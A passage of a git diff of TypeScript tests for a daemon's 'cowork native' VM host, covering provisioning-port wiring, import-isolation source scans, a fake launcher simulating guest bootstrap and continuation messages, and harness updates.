createHarness(); const asked = { count: 0 }; + const calls: string[] = []; + const base = environment(h, asked); + const withPort = () => ({ ...base(), provisioningPort: { available: () => true, admit: () => {}, provision: async (workspaceId: string, operationId: string) => { calls.push(`${workspaceId}:${operationId}`); return { status: "applied" as const }; } } }); + await boot(h, { environment: withPort, imagePins: pinned as never }); + for (let waited = 0; calls.length === 0 && waited < 100; waited += 1) await new Promise(resolve => setTimeout(resolve, 10)); + expect(calls).toHaveLength(1); + expect(calls[0]!.startsWith(`${h.workspaceId}:`)).toBe(true); +}); diff --git a/packages/core/test/cowork/native-wiring.test.ts b/packages/core/test/cowork/native-wiring.test.ts index 539489fc0..7aabde98c 100644 --- a/packages/core/test/cowork/native-wiring.test.ts +++ b/packages/core/test/cowork/native-wiring.test.ts @@ -553,3 +553,34 @@ test("close also runs when no guest was live at shutdown, and a close that throw expect(idle.beginShutdown()).toBeUndefined(); // never built: nothing to close expect(closes).toBe(1); }); + +// ---------------------------------------------------------------------------------------------------- S7B part 3: the provisioning port through the wiring +test("provisioningPort: absent without an environment (production), and lazy with one: nothing is built until the port is asked", async () => { + const h = createHarness(); + expect(createCoworkNativeWiring({ db: h.db, records: h.records, home: h.home }).provisioningPort()).toBeUndefined(); + let builds = 0; + const wiring = createCoworkNativeWiring({ db: h.db, records: h.records, home: h.home, environment: () => { builds += 1; return envFor(h); } }); + const port = wiring.provisioningPort()!; + expect(port).toBeDefined(); expect(builds).toBe(0); + expect(port.available()).toBe(false); // this environment carries no provisioning port + expect(() => port.admit({ kind: "local-user", id: "u" } as never)).toThrow(expect.objectContaining({ code: "unsupported_topology" })); + await expect(port.provision(h.workspaceId, "op")).rejects.toMatchObject({ code: "unsupported_topology" }); // uncertain, never a definite failure + expect(builds).toBe(1); // built once, shared by every ask +}); +test("provisioningPort: delegates to the environment's port; a throw is a failure with a code; an environment that cannot be built is unavailable and retried", async () => { + const h = createHarness(); + const calls: string[] = []; + let mode: "ok" | "throws" = "ok"; + const inner = { available: () => true, admit: () => { calls.push("admit"); }, provision: async (workspaceId: string, operationId: string) => { calls.push(`provision:${workspaceId}:${operationId}`); if (mode === "throws") throw new Error("boom"); return { status: "applied" as const }; } }; + const port = createCoworkNativeWiring({ db: h.db, records: h.records, home: h.home, environment: () => envFor(h, { provisioningPort: inner }) }).provisioningPort()!; + expect(port.available()).toBe(true); + port.admit({ kind: "local-user", id: "u" } as never); + expect(await port.provision("w", "o1")).toEqual({ status: "applied" }); + mode = "throws"; + expect(await port.provision("w", "o2")).toEqual({ status: "failed", reason: "provision_failed" }); + expect(calls).toEqual(["admit", "provision:w:o1", "provision:w:o2"]); + let attempts = 0; + const flaky = createCoworkNativeWiring({ db: h.db, records: h.records, home: h.home, environment: () => { attempts += 1; if (attempts === 1) throw new Error("not yet"); return envFor(h, { provisioningPort: inner }); } }).provisioningPort()!; + expect(flaky.available()).toBe(false); + expect(flaky.available()).toBe(true); +}); diff --git a/packages/core/test/cowork/native/anti-wiring.test.ts b/packages/core/test/cowork/native/anti-wiring.test.ts index ab693e173..756d3c6f3 100644 --- a/packages/core/test/cowork/native/anti-wiring.test.ts +++ b/packages/core/test/cowork/native/anti-wiring.test.ts @@ -1,4 +1,7 @@ -import { expect, test } from "bun:test"; +import { setDefaultTimeout, expect, test } from "bun:test"; + +// Whole-repo source scans (AST/regex over every package): a loaded CI runner can pass bun's 5 s default, so these files get 30 s. +setDefaultTimeout(30_000); import { existsSync, readFileSync, readdirSync } from "node:fs"; import { basename, dirname, join, relative, resolve, sep } from "node:path"; import * as ts from "typescript"; @@ -8,7 +11,7 @@ import * as ts from "typescript"; const packages = join(import.meta.dir, "..", "..", "..", ".."); const repositoryRoot = join(packages, ".."); const nativeDirectory = join(packages, "core", "src", "cowork", "native"); -const MODULES = ["authority", "fd-channel", "fd-receiver-worker", "host", "power", "protocol", "receipt-mac", "recovery", "stop-proof"]; +const MODULES = ["authority", "fd-channel", "fd-receiver-worker", "guest-dirs", "guest-records", "host", "power", "protocol", "receipt-mac", "recovery", "stop-proof"]; function sourceFiles(directory: string): string[] { return readdirSync(directory, { recursive: true, withFileTypes: true }).filter(entry => entry.isFile() && /\.(ts|tsx|js|mjs|cjs|mts|cts)$/.test(entry.name) && !entry.parentPath.split(sep).includes("node_modules")).map(entry => join(entry.parentPath, entry.name)); } @@ -24,6 +27,10 @@ const WIRING = join(packages, "core", "src", "cowork", "native-wiring.ts"); const HOST_ENV_DIRECTORY = join(packages, "core", "src", "cowork", "host-env") + sep; const ACTIVATION = join(packages, "core", "src", "cowork", "native-activation.ts"); const isHostEnv = (file: string): boolean => file.startsWith(HOST_ENV_DIRECTORY); +// N2 S7B part 2: the three files that let the COMPILED daemon start the channel's receiver thread (a third compile:core entrypoint and its probe). They import fd-channel / its worker +// and nothing else of cowork/native; nothing in the daemon imports them, and `bun run verify:fd-receiver` proves them on the real binary. +const CLI_FD_RECEIVER_SHIMS = ["fd-receiver-worker.ts", "fd-receiver-worker.source.ts", "fd-receiver-probe.ts"].map(name => join(packages, "cli", "src", name)); +const isNativeAdjacent = (file: string): boolean => isHostEnv(file) || CLI_FD_RECEIVER_SHIMS.includes(file); const scriptSources = existsSync(join(repositoryRoot, "scripts")) ? sourceFiles(join(repositoryRoot, "scripts")) : []; /** Every module specifier a source text names: static imports and re-exports (any form, multi-line included), bare `import "x"`, `import("x")`, @@ -72,7 +79,7 @@ test("the module set is exactly the reviewed one and has no barrel", () => { test("no source file outside cowork/native imports, names or constructs anything from it", () => { const needles = ["cowork/native", "CoworkNativeHost", "CoworkNativeAuthority", "CoworkNativeRecovery", "CoworkNativePower", "CoworkNativeStopRegistry", "CoworkLauncherPort", "CoworkLauncherSession", "CoworkNativeImagePins", "CoworkNativeDurableReceiptPort", "CoworkNativeOwnerRecoverPort", "parseCoworkNativeLauncherLine", "parseCoworkNativeEnvelope", "parseCoworkNativeMuxFrame", "FdLineChannel", "FdReceiver", "spawnWithChannel", "COWORK_LIBKRUN_"]; - for (const file of allSources.filter(candidate => !everyNativeSource.includes(candidate) && candidate !== WIRING && !isHostEnv(candidate))) { + for (const file of allSources.filter(candidate => !everyNativeSource.includes(candidate) && candidate !== WIRING && !isNativeAdjacent(candidate))) { const text = readFileSync(file, "utf8").split("cowork/native-wiring").join("").split("cowork/native-activation").join(""); for (const needle of needles) expect(`${basename(file)}:${needle}:${text.includes(needle)}`).toBe(`${basename(file)}:${needle}:false`); } @@ -81,7 +88,7 @@ test("no source file outside cowork/native imports, names or constructs anything test("none of the ports they declare is implemented anywhere in src/", () => { const ports = ["CoworkLauncherPort", "CoworkLauncherSession", "CoworkNativeImagePins", "CoworkNativeDurableReceiptPort", "CoworkNativeOwnerRecoverPort", "CoworkNativeRecoverGuards", "CoworkNativeHostBoot", "CoworkNativeLink"]; // The production environment (host-env/) is where the launcher port, the receipt store and the journal are implemented; the wiring binds the image pins. Both are exempt for their own ports only. - for (const file of allSources.filter(candidate => !isHostEnv(candidate) && candidate !== WIRING)) { + for (const file of allSources.filter(candidate => !isNativeAdjacent(candidate) && candidate !== WIRING)) { const text = readFileSync(file, "utf8").replace(/\/\*[\s\S]*?\*\/|\/\/[^\n]*/g, ""); for (const port of ports) { expect(`${basename(file)}:${port}:${new RegExp(`implements[^{]*\\b${port}\\b|:\\s*${port}\\s*=\\s*\\{|class\\s+\\w+[^{]*\\b${port}\\b|as\\s+${port}\\b`).test(text)}`).toBe(`${basename(file)}:${port}:false`); @@ -127,7 +134,7 @@ test("no module under cowork/native reads anything at import time", () => { test("no file anywhere (every package's src, and scripts/) imports from cowork/native, however the specifier is written", () => { const offenders: string[] = []; - for (const file of [...allSources, ...scriptSources].filter(candidate => !everyNativeSource.includes(candidate) && candidate !== WIRING && !isHostEnv(candidate))) + for (const file of [...allSources, ...scriptSources].filter(candidate => !everyNativeSource.includes(candidate) && candidate !== WIRING && !isNativeAdjacent(candidate))) for (const specifier of specifiersOf(readFileSync(file, "utf8"))) if (reachesNative(file, specifier)) offenders.push(`${relative(repositoryRoot, file)} -> ${specifier}`); expect(offenders).toEqual([]); expect(scriptSources.length).toBeGreaterThan(5); @@ -160,7 +167,7 @@ export function namesTheWiring(source: string): boolean { test("N2 S7: the wiring is the only importer of cowork/native, the daemon is the only importer of the wiring, and the wiring is lazy and reaches no process, socket, setting or environment", () => { const wiringText = readFileSync(WIRING, "utf8"), code = wiringText.replace(/\/\*[\s\S]*?\*\/|\/\/[^\n]*/g, ""); - expect(astSpecifiers(wiringText, WIRING).filter(target => target.startsWith("./native/")).sort()).toEqual(["./native/authority", "./native/host", "./native/power", "./native/protocol", "./native/receipt-mac", "./native/recovery", "./native/stop-proof"]); + expect(astSpecifiers(wiringText, WIRING).filter(target => target.startsWith("./native/")).sort()).toEqual(["./native/authority", "./native/guest-records", "./native/host", "./native/power", "./native/protocol", "./native/receipt-mac", "./native/recovery", "./native/stop-proof"]); const importers = [...allSources, ...scriptSources].filter(file => file !== WIRING && namesTheWiring(readFileSync(file, "utf8"))).map(file => relative(repositoryRoot, file).split(sep).join("/")).sort(); // the daemon imports the wiring; the host-env environment and the activation seam import only its TYPES expect(importers).toEqual(["packages/core/src/cowork/host-env/environment.ts", "packages/core/src/cowork/native-activation.ts", "packages/core/src/daemon.ts"]); @@ -265,7 +272,8 @@ test("N2 S7B part 1: the production environment is built only through the activa const hostEnvImporters = [...allSources, ...scriptSources].filter(file => !isHostEnv(file) && specifiersOf(readFileSync(file, "utf8")).some(specifier => /(^|\/)host-env(\/|$)/.test(specifier))).map(file => relative(repositoryRoot, file).split(sep).join("/")); expect(hostEnvImporters).toEqual(["packages/core/src/cowork/native-activation.ts"]); const activationImporters = [...allSources, ...scriptSources].filter(file => file !== ACTIVATION && specifiersOf(readFileSync(file, "utf8")).some(specifier => /(^|\/)native-activation(\.ts|\.js)?$/.test(specifier))).map(file => relative(repositoryRoot, file).split(sep).join("/")); - expect(activationImporters).toEqual(["packages/core/src/daemon.ts"]); + // The daemon, plus the compiled-binary probe (`__host-env-lazy-probe`), which only loads the lazy module to prove it resolves in the built binary and builds nothing. + expect([...activationImporters].sort()).toEqual(["packages/cli/src/fd-receiver-probe.ts", "packages/core/src/daemon.ts"]); // 2. the daemon calls the seam lazily (a thunk), so nothing about the environment is read while it is off expect(readFileSync(join(packages, "core", "src", "daemon.ts"), "utf8")).toContain("coworkNativeProductionEnvironment(() => ({"); // 3. the seam answers undefined, with the thunk never called diff --git a/packages/core/test/cowork/native/conversation-fixtures.ts b/packages/core/test/cowork/native/conversation-fixtures.ts index d9f499a09..16b215c8e 100644 --- a/packages/core/test/cowork/native/conversation-fixtures.ts +++ b/packages/core/test/cowork/native/conversation-fixtures.ts @@ -13,7 +13,7 @@ const roots = (logical: string): CoworkNativeConversationRoot[] => [ { id: "root-outputs", guestPath: `/workspace/outputs/${logical}`, source: `/workspace/outputs/${logical}`, readOnly: false }]; export const guidedConversation = (context: CoworkNativeConversationContext, logical: string, backend: string, uid: number): CoworkNativeConversation => ({ logicalSessionId: logical, authority: authority(context, backend), runtimeUid: uid, toolUid: uid + 1, workspaceGid: uid + 5000, policy: "auto", roots: roots(logical), - runtime: { model: "model-alpha", timeoutMs: 600000, toolClasses: ["read", "write", "execute"], provider: provider(context, logical, backend), guided: { bindingId: "3f2b8c1e-5d4a-4e6f-9a7b-1c2d3e4f5a6b", generation: 1 } } }); + runtime: { model: "model-alpha", timeoutMs: 600000, toolClasses: ["read", "write", "execute"], provider: provider(context, logical, backend), guided: { bindingId: "3f2b8c1e-5d4a-4e6f-9a7b-1c2d3e4f5a6b", generation: 1 }, continuation: "fresh", endedGuestBoots: [] } }); export const guidedSet = (context: CoworkNativeConversationContext): CoworkNativeConversationSet => ({ profile: "host-query-guided-v1", conversations: [guidedConversation(context, "conv-0001", "backend-0001", 20000)] }); export const twoGuidedSet = (context: CoworkNativeConversationContext): CoworkNativeConversationSet => ({ profile: "host-query-guided-v1", conversations: [guidedConversation(context, "conv-0001", "backend-0001", 20000), guidedConversation(context, "conv-0002", "backend-0002", 20010)] }); export const toolsOnlySet = (context: CoworkNativeConversationContext): CoworkNativeConversationSet => ({ profile: null, conversations: ["conv-0001", "conv-0002"].map((logical, index) => ({ diff --git a/packages/core/test/cowork/native/conversations.test.ts b/packages/core/test/cowork/native/conversations.test.ts index 31178b3f9..673fd3060 100644 --- a/packages/core/test/cowork/native/conversations.test.ts +++ b/packages/core/test/cowork/native/conversations.test.ts @@ -23,7 +23,7 @@ test("happy path: the set goes out once after mounted, bound to the plan, and ru expect(sets.length).toBe(1); expect(sets[0]).toMatchObject({ profile: "host-query-guided-v1", incarnationId: running.incarnationId }); expect(sets[0]!.conversations.length).toBe(1); - expect(contexts).toEqual([{ workspaceId: h.workspaceId, incarnationId: running.incarnationId, leaseEpoch: running.leaseEpoch, guestBootId: "66666666-6666-4666-8666-666666666666" }]); + expect(contexts).toEqual([{ workspaceId: h.workspaceId, incarnationId: running.incarnationId, leaseEpoch: running.leaseEpoch, guestBootId: running.guestBootId }]); const order = h.events.filter(event => ["host:ready-sent", "host:conversations-sent", "host:runtime-ready"].includes(event)); expect(order).toEqual(["host:ready-sent", "host:conversations-sent", "host:runtime-ready"]); expect(h.records.get(h.workspaceId).power).toBe("running"); @@ -83,7 +83,7 @@ test("a duplicate runtime_ready with a wrong sequence number is ignored but reco const running = await h.host.start(h.workspaceId); const set = h.launcher.last.conversationSets[0]!; expect(h.host.duplicateReadySeqAnomaly(h.workspaceId)).toBe(false); - h.launcher.last.push({ t: "mux_up", frame: { class: "bootstrap", seq: 9, message: { t: "runtime_ready", operationId: set.operationId, nonce: set.nonce, conversations: 1 } } }); + h.launcher.last.push({ t: "mux_up", frame: { class: "bootstrap", seq: 9, message: { t: "runtime_ready", operationId: set.operationId, nonce: set.nonce, conversations: 1, continuations: [] } } }); await Bun.sleep(10); expect(h.host.nextBootstrapUpSequence(h.workspaceId)).toBe(5); expect(h.host.duplicateReadySeqAnomaly(h.workspaceId)).toBe(true); @@ -97,7 +97,7 @@ test("a duplicate runtime_ready that arrives after the start is counted in the u const running = await h.host.start(h.workspaceId); const set = h.launcher.last.conversationSets[0]!; expect(h.host.nextBootstrapUpSequence(h.workspaceId)).toBe(5); - h.launcher.last.push({ t: "mux_up", frame: { class: "bootstrap", seq: 5, message: { t: "runtime_ready", operationId: set.operationId, nonce: set.nonce, conversations: 1 } } }); + h.launcher.last.push({ t: "mux_up", frame: { class: "bootstrap", seq: 5, message: { t: "runtime_ready", operationId: set.operationId, nonce: set.nonce, conversations: 1, continuations: [] } } }); await Bun.sleep(10); expect(h.host.nextBootstrapUpSequence(h.workspaceId)).toBe(6); expect(h.records.get(h.workspaceId).power).toBe("running"); diff --git a/packages/core/test/cowork/native/fake-launcher.ts b/packages/core/test/cowork/native/fake-launcher.ts index e91cf11a8..81883d9f3 100644 --- a/packages/core/test/cowork/native/fake-launcher.ts +++ b/packages/core/test/cowork/native/fake-launcher.ts @@ -1,3 +1,4 @@ +import { createHash } from "node:crypto"; import { fstatSync } from "node:fs"; import { CoworkNativeSimulatedCrash, type CoworkLauncherPort, type CoworkLauncherSession } from "../../../src/cowork/native/host"; import { @@ -25,7 +26,11 @@ export interface FakeBehavior { bootstrap?: "ok" | "fault" | "silent" | "wrong-nonce" | "wrong-operation" | "tampered-receipt" | "duplicate-receipt" | "runtime-frame"; mounted?: "ok" | "silent"; /** What the guest does with the conversation set: answer, stay silent, fault, echo wrongly, or announce readiness before it was sent anything / twice. */ - conversations?: "ok" | "silent" | "bad" | "supervisor-failed" | "second" | "wrong-count" | "wrong-nonce" | "wrong-operation" | "duplicate-ready" | "late-ready" | "early-ready"; + /** What the guest does with bootstrap `shares`: mount them (`shares_mounted`), fault, or stay silent. */ + shares?: "ok" | "fault" | "silent" | "wrong-nonce"; + /** How the guest reports the continuation it ran: as decided (default), the other one, or too many entries. */ + continuationEcho?: "as-sent" | "flipped" | "extra" | "none"; + conversations?: "store-missing" | "fresh-store-not-empty" | "ok" | "silent" | "bad" | "supervisor-failed" | "second" | "wrong-count" | "wrong-nonce" | "wrong-operation" | "duplicate-ready" | "late-ready" | "early-ready"; /** What the launcher does when asked to stop. */ stop?: "orderly" | "late-orderly" | "uncertain" | "eof" | "silent" | "wrong-nonce" | "bad-invariants" | "other-incarnation" | "wrong-volume" | "fault" | "other-request-id" | "other-launcher" | "denies-attach" | "denies-boot"; /** Hello with another boot id. */ @@ -37,6 +42,7 @@ export const FIXTURE_KEY = CoworkNativeReceiptKey.fromBytes(Uint8Array.from({ le interface Received { readonly message: CoworkNativeToLauncher; readonly rights: readonly number[] } export class FakeLauncher implements CoworkLauncherPort { behavior: FakeBehavior; + confirmations = 0; readonly sessions: FakeSession[] = []; readonly spawned: { workspaceId: string; incarnationId: string; leaseEpoch: number }[] = []; constructor(readonly options: { behavior: FakeBehavior; homeId: string; hostBootId: () => string; receipts: Map; events: string[] }) { this.behavior = options.behavior; } @@ -75,7 +81,9 @@ export class FakeSession implements CoworkLauncherSession { /** Every conversation set the guest received (the host must send at most one). */ readonly conversationSets: { operationId: string; nonce: string; incarnationId: string; profile: string | null; conversations: readonly unknown[] }[] = []; private plan: { operationId: string; nonce: string; plan: Record } | null = null; - private confirmCounter = 0; + /** Shared by every session of one launcher: a real launcher never repeats a confirmation id, and the host spends each one once. */ + private get confirmCounter(): number { return this.owner.confirmations; } + private set confirmCounter(value: number) { this.owner.confirmations = value; } constructor(private readonly owner: FakeLauncher, readonly request: { workspaceId: string; incarnationId: string; leaseEpoch: number }) { this.hostBootId = owner.behavior.helloBoot ?? owner.options.hostBootId(); } @@ -101,6 +109,25 @@ export class FakeSession implements CoworkLauncherSession { const typed = parseCoworkNativeLauncherLine(serializeCoworkNativeLauncherLine(message, "to-daemon"), "to-daemon", 0) as CoworkNativeToDaemon; queueMicrotask(() => { if (this.live) for (const handler of [...this.handlers]) handler(typed); }); } + /** The `continuations` the fake guest reports for a set: one per host-query conversation, `fresh`/`resume` as decided (`either` runs fresh here). */ + private echo(set: Extract["message"]): ("fresh" | "resume")[] { + if (set.t !== "conversations") return []; + const sent = set.conversations.flatMap(item => item.runtime === null ? [] : [item.runtime.continuation === "resume" ? "resume" as const : "fresh" as const]); + switch (this.behavior.continuationEcho ?? "as-sent") { + case "none": return []; + case "extra": return [...sent, "fresh"]; + case "flipped": return sent.map(entry => entry === "fresh" ? "resume" as const : "fresh" as const); + default: return sent; + } + } + /** The guest's boot id: a real guest's is unique per boot (and the host's record demands it), so the fake derives one from the incarnation it serves. */ + get bootId(): string { + const scope = this.scope as { workspaceId: string; incarnationId: string } | null; + const hex = createHash("sha256").update(`${scope?.workspaceId ?? ""}|${scope?.incarnationId ?? ""}`).digest("hex"); + return `${hex.slice(0, 8)}-${hex.slice(8, 12)}-4${hex.slice(13, 16)}-8${hex.slice(17, 20)}-${hex.slice(20, 32)}`; + } + /** The bootstrap `shares` messages the guest received (tests). */ + readonly bootstrapShares: Extract["message"][] = []; private muxUp(message: Extract["message"]): void { this.upSeq += 1; this.deliver({ t: "mux_up", frame: { class: "bootstrap", seq: this.upSeq, message } }); @@ -142,7 +169,7 @@ export class FakeSession implements CoworkLauncherSession { if (this.behavior.volumes === "silent") { for (const item of this.behavior.chatter ?? []) { if (item === "vm_running") { this.deliver({ t: "worker_state", state: "vm_running" }); this.vmRunning = true; } - else this.muxUp({ t: "hello", guestBootId: "66666666-6666-4666-8666-666666666666", dataSerial: "winter-data", environmentSerial: "winter-environment" }); + else this.muxUp({ t: "hello", guestBootId: this.bootId, dataSerial: "winter-data", environmentSerial: "winter-environment" }); } return; } @@ -150,7 +177,7 @@ export class FakeSession implements CoworkLauncherSession { this.deliver({ t: "volumes_accepted", id: message.id }); if (this.behavior.quietVm) return; this.deliver({ t: "worker_state", state: "vm_running" }); this.vmRunning = true; - if (this.behavior.guestHello !== "silent") { this.guestBooted = true; this.muxUp({ t: "hello", guestBootId: "66666666-6666-4666-8666-666666666666", dataSerial: "winter-data", environmentSerial: "winter-environment" }); } + if (this.behavior.guestHello !== "silent") { this.guestBooted = true; this.muxUp({ t: "hello", guestBootId: this.bootId, dataSerial: "winter-data", environmentSerial: "winter-environment" }); } } private onMux(frame: CoworkNativeMuxFrame): void { this.down.accept(frame, "down"); @@ -171,22 +198,34 @@ export class FakeSession implements CoworkLauncherSession { if (this.behavior.bootstrap === "duplicate-receipt") this.muxUp({ t: "receipt", operationId, nonce, receipt: receipt as unknown as Record }); return; } - if (message.t === "ready" && this.behavior.conversations === "early-ready") this.muxUp({ t: "runtime_ready", operationId: message.operationId, nonce: message.nonce, conversations: 1 }); + if (message.t === "ready" && this.behavior.conversations === "early-ready") this.muxUp({ t: "runtime_ready", operationId: message.operationId, nonce: message.nonce, conversations: 1, continuations: [] }); if (message.t === "ready" && this.behavior.mounted !== "silent") this.muxUp({ t: "mounted", operationId: message.operationId, nonce: message.nonce }); + if (message.t === "shares") { + this.bootstrapShares.push(message); + const { operationId, nonce } = message; + switch (this.behavior.shares ?? "ok") { + case "silent": return; + case "fault": return this.muxUp({ t: "fault", operationId, nonce, code: "share_inventory" }); + case "wrong-nonce": return this.muxUp({ t: "shares_mounted", operationId, nonce: "ee".repeat(16) }); + default: return this.muxUp({ t: "shares_mounted", operationId, nonce }); + } + } if (message.t === "conversations") { this.conversationSets.push(message); const { operationId, nonce } = message, count = message.conversations.length; switch (this.behavior.conversations ?? "ok") { case "silent": return; + case "store-missing": return this.muxUp({ t: "fault", operationId, nonce, code: "resume_store_missing" }); + case "fresh-store-not-empty": return this.muxUp({ t: "fault", operationId, nonce, code: "fresh_store_not_empty" }); case "bad": return this.muxUp({ t: "fault", operationId, nonce, code: "bad_conversations" }); case "supervisor-failed": return this.muxUp({ t: "fault", operationId, nonce, code: "supervisor_failed" }); case "second": return this.muxUp({ t: "fault", operationId, nonce, code: "second_conversations" }); - case "wrong-count": return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count + 1 }); - case "wrong-nonce": return this.muxUp({ t: "runtime_ready", operationId, nonce: "ee".repeat(16), conversations: count }); - case "wrong-operation": return this.muxUp({ t: "runtime_ready", operationId: "filesystem_other", nonce, conversations: count }); - case "late-ready": { setTimeout(() => { if (this.scope) this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count }); }, 600); return; } - case "duplicate-ready": this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count }); return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count }); - default: return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count }); + case "wrong-count": return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count + 1, continuations: this.echo(message) }); + case "wrong-nonce": return this.muxUp({ t: "runtime_ready", operationId, nonce: "ee".repeat(16), conversations: count, continuations: this.echo(message) }); + case "wrong-operation": return this.muxUp({ t: "runtime_ready", operationId: "filesystem_other", nonce, conversations: count, continuations: this.echo(message) }); + case "late-ready": { setTimeout(() => { if (this.scope) this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count, continuations: this.echo(message) }); }, 600); return; } + case "duplicate-ready": this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count, continuations: this.echo(message) }); return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count, continuations: this.echo(message) }); + default: return this.muxUp({ t: "runtime_ready", operationId, nonce, conversations: count, continuations: this.echo(message) }); } } } diff --git a/packages/core/test/cowork/native/harness.ts b/packages/core/test/cowork/native/harness.ts index 851b9dd4d..31db3465d 100644 --- a/packages/core/test/cowork/native/harness.ts +++ b/packages/core/test/cowork/native/harness.ts @@ -12,6 +12,7 @@ import { CoworkNativePower } from "../../../src/cowork/native/power"; import { CoworkNativeRecovery, type CoworkNativeDurableReceiptPort, type CoworkNativeOwnerRecoverPort } from "../../../src/cowork/native/recovery"; import { coworkNativeLedgerStopProbe, CoworkNativeStopRegistry, type CoworkNativeHostBoot, type CoworkNativeLaunchEntry, type CoworkNativeLaunchJournalPort, type CoworkNativeRecoverGuards, type CoworkNativeRecoverSubject } from "../../../src/cowork/native/stop-proof"; import { openRuntimeStateDb, type RuntimeStateDb } from "../../../src/runtime-state/db"; +import { CoworkGuestRecords } from "../../../src/cowork/host-env/guest-records"; import { guidedSet } from "./conversation-fixtures"; import { FakeLauncher, type FakeBehavior } from "./fake-launcher"; @@ -31,10 +32,13 @@ export interface HarnessOptions { readonly conversations?: CoworkNativeHostDeps["conversations"]; /** Runs at every host checkpoint, before a crash is raised: lets a test change the world between two steps of a start. */ readonly onCheckpoint?: (phase: string, harness: Harness) => void; + /** The host's outputs preparer and share-directory opener (absent by default). The guest records are the real SQL over the harness database unless `false`. */ + readonly outputs?: CoworkNativeHostDeps["outputs"]; readonly shareDirectories?: CoworkNativeHostDeps["shareDirectories"]; readonly guestRecords?: false; } export interface Harness { readonly root: string; readonly home: string; readonly workspaceId: string; readonly homeId: string; db: RuntimeStateDb; records: CoworkRepository; volumes: CoworkVolumes; ledger: CoworkAdmissionLedger; authority: CoworkNativeAuthority; registry: CoworkNativeStopRegistry; + guestRecords: CoworkGuestRecords | null; power: CoworkNativePower; recovery: CoworkNativeRecovery; host: CoworkNativeHost; launcher: FakeLauncher; deps: CoworkNativeHostDeps; hostBoot: CoworkNativeHostBoot & { current: string; ended: boolean }; receipts: Map; ownerRecoverAttestation: { value: unknown }; @@ -142,13 +146,15 @@ export function createHarness(options: HarnessOptions = {}): Harness { const ownerRecover: CoworkNativeOwnerRecoverPort = { confirm: () => ownerRecoverAttestation.value as never }; const recoveryGuards: CoworkNativeRecoverGuards = { processAbsent: subject => { guards.seen.push(subject); return guards.processAbsent; }, imagesUnlocked: () => guards.imagesUnlocked }; const checkpoint = (phase: string) => { events.push(`host:${phase}`); options.onCheckpoint?.(phase, harness); if (crashAt === phase) throw new CoworkNativeSimulatedCrash(phase); }; - harness.recovery = new CoworkNativeRecovery({ receiptKey: () => RECEIPT_KEY, records: harness.records, volumes: harness.volumes, admission: harness.ledger, power: harness.power, registry: harness.registry, hostBoot, receipts: durable, ownerRecover, guards: recoveryGuards, journal: journalPort, now: () => clock.now, checkpoint }); + const guestRecordsNow = new CoworkGuestRecords(db); + harness.guestRecords = options.guestRecords === false ? null : guestRecordsNow; + harness.recovery = new CoworkNativeRecovery({ receiptKey: () => RECEIPT_KEY, records: harness.records, volumes: harness.volumes, admission: harness.ledger, power: harness.power, registry: harness.registry, hostBoot, receipts: durable, ownerRecover, guards: recoveryGuards, journal: journalPort, now: () => clock.now, checkpoint, ...(options.guestRecords === false ? {} : { guestRecords: guestRecordsNow }) }); harness.launcher = new FakeLauncher({ behavior: boot.behavior ?? {}, homeId, hostBootId: () => hostBoot.current, receipts, events }); harness.daemon = daemon; const deps: CoworkNativeHostDeps = { records: harness.records, volumes: harness.volumes, admission: harness.ledger, authority: harness.authority, power: harness.power, recovery: harness.recovery, registry: harness.registry, hostBoot, launcher: harness.launcher, images: { runtimeImageDigest: () => IMAGE_DIGEST }, receiptKey: () => RECEIPT_KEY, daemon: () => daemon, journal: journalPort, timers, timeouts: { begunMs: 400, volumesMs: 400, guestHelloMs: 400, receiptMs: 400, mountedMs: 400, runtimeReadyMs: 400, stopGraceMs: 150, exitAllowanceMs: 0, drainBudgetMs: 150, ...boot.timeouts }, - conversations: "conversations" in options ? options.conversations : guidedSet, unsafeTestTimeouts: true, now: () => clock.now, checkpoint, mint: { suffix: () => sequence.toString(16).padStart(8, "0") }, + conversations: "conversations" in options ? options.conversations : guidedSet, unsafeTestTimeouts: true, now: () => clock.now, checkpoint, ...(options.guestRecords === false ? {} : { guestRecords: guestRecordsNow }), ...(options.outputs ? { outputs: options.outputs } : {}), ...(options.shareDirectories ? { shareDirectories: options.shareDirectories } : {}), mint: { suffix: () => sequence.toString(16).padStart(8, "0") }, }; harness.deps = deps; harness.host = new CoworkNativeHost(deps); diff --git a/packages/core/test/cowork/native/host-b3.test.ts b/packages/core/test/cowork/native/host-b3.test.ts new file mode 100644 index 000000000..119fbee24 --- /dev/null +++ b/packages/core/test/cowork/native/host-b3.test.ts @@ -0,0 +1,333 @@ +import { afterEach, describe, expect, test } from "bun:test"; +import { lstatSync, mkdirSync, mkdtempSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { CoworkNativeSimulatedCrash, type CoworkNativeConversationContext, type CoworkNativeConversationSet, type CoworkNativeHostShare, type CoworkNativeStartRequest } from "../../../src/cowork/native/host"; +import { createCoworkOutputsPreparer, createCoworkShareDirectoryOpener } from "../../../src/cowork/host-env/guest-dirs"; +import { guidedConversation, guidedSet } from "./conversation-fixtures"; +import { cleanupHarnesses, createHarness, type Harness } from "./harness"; + +// N2 S7B part 3: what the native host records and checks for the session door (guest boots, the store volume, the continuation echo and the fault to lost mapping, shares, +// the outputs directory and the plan view's epoch). Everything here runs over the fake launcher; no VM exists. + +const temps: string[] = []; +afterEach(() => { cleanupHarnesses(); temps.splice(0).forEach(dir => rmSync(dir, { recursive: true, force: true })); }); +const scratch = (): string => { const dir = realpathSync(mkdtempSync(join(tmpdir(), "winter-b3-"))); temps.push(dir); return dir; }; +const OLDER_BOOT = "11111111-1111-4111-8111-111111111111"; +const bootRows = (h: Harness) => h.db.db.query<{ incarnation_id: string; guest_boot_id: string; ended_proof: string | null; lease_epoch: number }, []>("SELECT incarnation_id,guest_boot_id,ended_proof,lease_epoch FROM cowork_guest_boots ORDER BY recorded_at").all(); +/** A first start and stop formats the data volume, so a later start may honestly resume a store on it. */ +const formatted = async (h: Harness): Promise => { await (await h.host.start(h.workspaceId)).stop(); return h; }; +const lastSet = (h: Harness) => h.launcher.last.conversationSets.at(-1) as unknown as { conversations: { 